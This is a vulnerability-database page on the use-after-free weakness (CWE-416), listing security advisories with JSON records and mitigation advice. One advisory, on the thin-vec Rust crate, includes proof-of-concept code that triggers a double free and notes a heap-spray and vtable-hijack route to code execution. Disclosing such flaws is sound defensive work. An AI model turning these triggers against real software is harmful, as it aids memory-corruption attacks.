Common Weakness Enumeration

CWE-416

Allowed

Use After Free

Abstraction: Variant · Status: Stable

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

10031 vulnerabilities reference this CWE, most recent first.

GHSA-XPCX-XV4V-Q822

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.0.1.5096. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of PolyLine annotations. By manipulating a document's elements an attacker can cause a pointer to be reused after it has been freed. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-6265.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-14305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-31T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.0.1.5096. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of PolyLine annotations. By manipulating a document\u0027s elements an attacker can cause a pointer to be reused after it has been freed. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-6265.",
  "id": "GHSA-xpcx-xv4v-q822",
  "modified": "2022-05-13T01:34:34Z",
  "published": "2022-05-13T01:34:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14305"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    },
    {
      "type": "WEB",
      "url": "https://zerodayinitiative.com/advisories/ZDI-18-765"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPHW-CQX3-667J

Vulnerability from github – Published: 2026-04-15 19:24 – Updated: 2026-05-05 15:43
VLAI
Summary
thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics
Details

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).


Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — IntoIter::drop

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — ThinVec::clear

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

  • DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
  • Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: IntoIter::drop

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: ThinVec::clear

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification: - CWE-415: Double Free - CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

  1. ThinVec stores heap-owning types (String, Vec, Box, etc.)
  2. (Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
  3. The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "thin-vec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-415",
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:24:54Z",
    "nvd_published_at": "2026-04-20T11:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate.\nBoth vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code \u2014 no `unsafe` blocks required.\nUndefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**.\n\n---\n\n### Details\n\nBoth vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).\n\n#### Vulnerability 1 \u2014 `IntoIter::drop`\n\n**Location:** `thin-vec/src/lib.rs` L.2308~2314\n\n`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`.\nIf a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements.\nThe standard library\u0027s `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.\n\n```rust\n// Problematic structure (conceptual representation)\nimpl\u003cT\u003e Drop for IntoIter\u003cT\u003e {\n    fn drop(\u0026mut self) {\n        let mut vec = mem::replace(\u0026mut self.vec, ThinVec::new());\n        unsafe {\n            ptr::drop_in_place(vec.remaining_slice_mut()); // \u2190 panic may occur here\n            vec.set_len_non_singleton(0);                  // \u2190 unreachable on panic\n        }\n        // During unwinding, vec is dropped again \u2192 Double Free\n    }\n}\n```\n\n#### Vulnerability 2 \u2014 `ThinVec::clear`\n\n`clear()` calls `ptr::drop_in_place(\u0026mut self[..])` followed by `self.set_len(0)` to reset the length.\nIf a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again.\n\n```rust\n// Problematic structure (conceptual representation)\npub fn clear(\u0026mut self) {\n    unsafe {\n        ptr::drop_in_place(\u0026mut self[..]); // \u2190 panic may occur here\n        self.set_len(0);                   // \u2190 unreachable on panic\n    }\n    // ThinVec drop later \u2192 Double Free\n}\n```\n\n#### Recommended Fix\n\nBoth vulnerabilities can be resolved with the same pattern:\n\n- **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic\n- **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place`\n\n---\n\n### PoC\n\n**Requirements:** Rust nightly toolchain, `thin-vec = \"0.2.14\"`\n\n```bash\n# Miri\ncargo +nightly miri run\n\n# ASAN\nRUSTFLAGS=\"-Z sanitizer=address\" cargo +nightly run --release\n```\n\n#### PoC-1: `IntoIter::drop`\n\n```rust\nuse thin_vec::ThinVec;\n\nstruct PanicBomb(String);\n\nimpl Drop for PanicBomb {\n    fn drop(\u0026mut self) {\n        if self.0 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(PanicBomb(String::from(\"normal1\")));\n    v.push(PanicBomb(String::from(\"panic\")));  // trigger element\n    v.push(PanicBomb(String::from(\"normal2\")));\n\n    let mut iter = v.into_iter();\n    iter.next();\n    // When iter is dropped: panic occurs at \"panic\" element\n    // \u2192 During unwinding, Double Drop is triggered on \"normal1\" (already freed)\n}\n```\n\n**Miri output:**\n```\nerror: Undefined Behavior: pointer not dereferenceable:\n       alloc227 has been freed, so this pointer is dangling\n\nstack backtrace:\n   3: \u003cPanicBomb as Drop\u003e::drop           \u2190 Double Drop entry\n   6: \u003cThinVec\u003cT\u003e as Drop\u003e::drop::drop_non_singleton\n   9: \u003cIntoIter\u003cT\u003e as Drop\u003e::drop::drop_non_singleton  \u2190 lib.rs:2310 (root cause)\n```\n\n**ASAN output:**\n```\n==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010\nREAD of size 7 at 0x7afa685e0010\n    #0 memcpy\n    #4 drop_in_place::\u003cPanicBomb\u003e        \u2190 Double Drop entry point\n    #5 \u003cThinVec as Drop\u003e::drop::drop_non_singleton\n    #6 \u003cIntoIter as Drop\u003e::drop::drop_non_singleton\n```\n\n#### PoC-2: `ThinVec::clear`\n\n```rust\nuse thin_vec::ThinVec;\nuse std::panic;\n\nstruct Poison(Box\u003cusize\u003e, \u0026\u0027static str);\n\nimpl Drop for Poison {\n    fn drop(\u0026mut self) {\n        if self.1 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(Poison(Box::new(1), \"normal1\")); // index 0\n    v.push(Poison(Box::new(2), \"panic\"));   // index 1 \u2192 panic triggered here\n    v.push(Poison(Box::new(3), \"normal2\")); // index 2\n\n    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {\n        v.clear();\n        // panic occurs at \"panic\" element during clear()\n        // \u2192 set_len(0) is never called\n        // \u2192 already-freed elements are re-freed when v goes out of scope\n    }));\n}\n```\n\n---\n\n### Impact\n\n**Vulnerability classification:**\n- CWE-415: Double Free\n- CWE-416: Use-After-Free\n\n**Affected code:** All code satisfying the following conditions simultaneously:\n\n1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)\n2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or\n   (Vulnerability 2) `clear()` is called while a remaining element\u0027s `Drop` implementation can panic\n3. The `Drop` implementation of a remaining element triggers a panic\n\nAdditionally, when combined with `Box\u003cdyn Trait\u003e` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.",
  "id": "GHSA-xphw-cqx3-667j",
  "modified": "2026-05-05T15:43:14Z",
  "published": "2026-04-15T19:24:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6654"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/thin-vec"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0103.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics"
}

GHSA-XPM2-JXRF-PRMX

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2025-11-03 21:30
VLAI
Details

A use-after-free in Busybox's awk applet leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_s function

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-42382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-15T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A use-after-free in Busybox\u0027s awk applet leads to denial of service and possibly code execution when processing a crafted awk pattern in the getvar_s function",
  "id": "GHSA-xpm2-jxrf-prmx",
  "modified": "2025-11-03T21:30:35Z",
  "published": "2022-05-24T19:20:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42382"
    },
    {
      "type": "WEB",
      "url": "https://claroty.com/team82/research/unboxing-busybox-14-vulnerabilities-uncovered-by-claroty-jfrog"
    },
    {
      "type": "WEB",
      "url": "https://jfrog.com/blog/unboxing-busybox-14-new-vulnerabilities-uncovered-by-claroty-and-jfrog"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6T2TURBYYJGBMQTTN2DSOAIQGP7WCPGV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UQXGOGWBIYWOIVXJVRKHZR34UMEHQBXS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6T2TURBYYJGBMQTTN2DSOAIQGP7WCPGV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UQXGOGWBIYWOIVXJVRKHZR34UMEHQBXS"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20211223-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPP8-QPCR-C3RG

Vulnerability from github – Published: 2026-02-13 21:31 – Updated: 2026-02-20 21:31
VLAI
Details

Use after free in CSS in Google Chrome prior to 145.0.7632.75 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-13T19:17:31Z",
    "severity": "HIGH"
  },
  "details": "Use after free in CSS in Google Chrome prior to 145.0.7632.75 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-xpp8-qpcr-c3rg",
  "modified": "2026-02-20T21:31:20Z",
  "published": "2026-02-13T21:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2441"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/02/stable-channel-update-for-desktop_13.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huseyinstif/CVE-2026-2441-PoC/blob/main/poc.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/483569511"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-2441"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPQ9-M45F-G29Q

Vulnerability from github – Published: 2022-05-14 03:21 – Updated: 2022-05-14 03:21
VLAI
Details

In versions of mruby up to and including 1.4.0, a use-after-free vulnerability exists in src/io.c::File#initilialize_copy(). An attacker that can cause Ruby code to be run can possibly use this to execute arbitrary code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-18T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In versions of mruby up to and including 1.4.0, a use-after-free vulnerability exists in src/io.c::File#initilialize_copy(). An attacker that can cause Ruby code to be run can possibly use this to execute arbitrary code.",
  "id": "GHSA-xpq9-m45f-g29q",
  "modified": "2022-05-14T03:21:42Z",
  "published": "2022-05-14T03:21:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mruby/mruby/issues/4001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mruby/mruby/commit/b51b21fc63c9805862322551387d9036f2b63433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPQM-66VQ-XGP8

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Maxon Cinema 4D SKP File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Maxon Cinema 4D. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of SKP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-21437.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:22Z",
    "severity": "HIGH"
  },
  "details": "Maxon Cinema 4D SKP File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Maxon Cinema 4D. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SKP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-21437.",
  "id": "GHSA-xpqm-66vq-xgp8",
  "modified": "2024-05-03T03:30:58Z",
  "published": "2024-05-03T03:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40489"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1193"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPQM-H22M-6VXM

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16
VLAI
Details

Acrobat Reader DC versions 2021.005.20060 (and earlier), 2020.004.30006 (and earlier) and 2017.011.30199 (and earlier) are affected by a use-after-free vulnerability in the processing of the AcroForm deleteItemAt action that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-39837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-29T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Acrobat Reader DC versions 2021.005.20060 (and earlier), 2020.004.30006 (and earlier) and 2017.011.30199 (and earlier) are affected by a use-after-free vulnerability in the processing of the AcroForm deleteItemAt action that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-xpqm-h22m-6vxm",
  "modified": "2022-05-24T19:16:06Z",
  "published": "2022-05-24T19:16:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39837"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb21-55.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPR5-5WW3-6F66

Vulnerability from github – Published: 2022-05-14 01:27 – Updated: 2022-05-14 01:27
VLAI
Details

An issue was discovered in certain Apple products. iOS before 11.3.1 is affected. Safari before 11.1 is affected. iCloud before 7.5 on Windows is affected. iTunes before 12.7.5 on Windows is affected. tvOS before 11.4 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site that triggers a WebCore::jsElementScrollHeightGetter use-after-free.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-4200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-08T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 11.3.1 is affected. Safari before 11.1 is affected. iCloud before 7.5 on Windows is affected. iTunes before 12.7.5 on Windows is affected. tvOS before 11.4 is affected. The issue involves the \"WebKit\" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site that triggers a WebCore::jsElementScrollHeightGetter use-after-free.",
  "id": "GHSA-xpr5-5ww3-6f66",
  "modified": "2022-05-14T01:27:35Z",
  "published": "2022-05-14T01:27:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4200"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/project-zero/issues/detail?id=1525"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201808-04"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208741"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208743"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208850"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208852"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208853"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3640-1"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44566"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103961"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040743"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ3W-MM28-X95X

Vulnerability from github – Published: 2022-05-14 00:53 – Updated: 2022-05-14 00:53
VLAI
Details

Adobe Acrobat and Reader versions 2018.011.20038 and earlier, 2017.011.30079 and earlier, and 2015.006.30417 and earlier have a Use-after-free vulnerability. Successful exploitation could lead to arbitrary code execution in the context of the current user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-4996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-09T19:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Acrobat and Reader versions 2018.011.20038 and earlier, 2017.011.30079 and earlier, and 2015.006.30417 and earlier have a Use-after-free vulnerability. Successful exploitation could lead to arbitrary code execution in the context of the current user.",
  "id": "GHSA-xq3w-mm28-x95x",
  "modified": "2022-05-14T00:53:46Z",
  "published": "2022-05-14T00:53:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4996"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb18-09.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040920"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ3X-FM54-P4GQ

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.1.0.5096. A use-after-free condition can occur when accessing the Creator property of the this.info object. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-3961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-02T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "A use-after-free vulnerability exists in the JavaScript engine of Foxit Software\u0027s Foxit PDF Reader version 9.1.0.5096. A use-after-free condition can occur when accessing the Creator property of the this.info object. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.",
  "id": "GHSA-xq3x-fm54-p4gq",
  "modified": "2022-05-13T01:01:51Z",
  "published": "2022-05-13T01:01:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3961"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0628"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Language Selection

Choose a language that provides automatic memory management.

Mitigation
Implementation

Strategy: Attack Surface Reduction

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

No CAPEC attack patterns related to this CWE.